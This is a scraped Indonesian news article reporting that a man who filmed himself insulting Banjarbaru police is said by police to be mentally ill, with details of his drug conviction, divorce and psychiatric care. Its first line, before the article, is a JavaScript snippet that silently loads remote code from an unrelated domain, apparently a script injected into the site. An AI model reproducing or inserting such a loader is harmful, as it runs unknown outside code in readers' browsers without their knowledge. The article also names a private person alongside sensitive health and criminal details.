(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Baru-baru ini jagat media sosial dihebohkan seorang pria yang membuat video memaki-maki jajaran personel Polres Banjarbaru, Sabtu (11/3/2023).
Dilansir dari 4 video yang didapatkan Kanalkalimantan.com, video berdurasi kurang dari 1 menit itu menampilkan seorang pria dengan akun @muhammad.**1, memaki dengan kata tidak pantas dan juga mencari-cari jajaran Polres Banjarbaru, terutama dari Satuan Reserse Narkoba (Satresnarkoba).
Pria tersebut mengaku Satresnarkoba Polres Banjarbaru melakukan penangkapan tidak sesuai SOP pada dirinya. Dalam videonya, dia juga mengaku keselamatannya terancam oleh oknum yang ingin membunuhnya di jalan raya.
Kanalkalimantan.com mencoba mencari akun @muhammad.**1, namun video tersebut sudah tidak ada lagi atau sudah dihapus dari media sosial.
Baca juga: Yayasan RDB Buktikan Anak Disabilitas Mampu Berkarya
Saat dikonfirmasi, Kasi Humas Polres Banjarbaru, Kompol Tajudin Noor mengatakan bahwa pria pemilik @muhammad.**1 yang memiliki nama lengkap Muhammad Abdi asal Banjarmasin merupakan orang dengan gangguan jiwa (ODGJ).
“Hal ini sudah ditindak lanjuti oleh unit Narkoba, infonya yang bersangkutan orang dengan gangguan jiwa,” ujarnya.
Keterangan pria pemilik akun @muhammad.**1 ODGJ didukung oleh video klarifikasi yang dikirimkan Kompol Tajudin kepada Kanalkalimantan.com yang memperlihatkan kartu berobat dan surat rujukan berkop resmi Rumah Sakit Jiwa Sambang Lihum.
Dijelaskan Kompol Tajudin, pada tahun 2016 lalu, pria pemilik akun @muhammad.**1 pernah dilakukan penahanan oleh jajaran Satresnarkoba Polres Banjarbaru, lantaran kepemilikan narkotika jenis sabu 0,33 gram. Dengan menjalani hukuman dengan vonis selama 5 tahun 6 bulan.
Bagai jatuh ditimpa tangga, pemilik akun @muhammad.**1 pada tahun 2020 diceraikan sang isteri di sisa-sisa menjalani hukumannya.
“Saat dalam tahanan dia diceraikan oleh isterinya,” sebutnya.
Baca juga: Melindungi Identitas Motif Kain Sasirangan Pendaftaran HaKI Dilakukan
Akibat diceraikan sang isteri, pada tahun 2021 lalu, psikologi dirinya terganggu dan harus menjalani rawat jalan di Poliklinik RSJ Sambang Lihum.
Sekarang Muhammad Abdi kata Kompol Tajudin, dari keterangan rumah sakit maupun keluarganya masih dalam gangguan jiwa.
“Dari keterangan keluarga, ia sering mengamuk dan merusak di sekitar lingkungannya tinggal,” tutup Kompol Tajudin.(kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.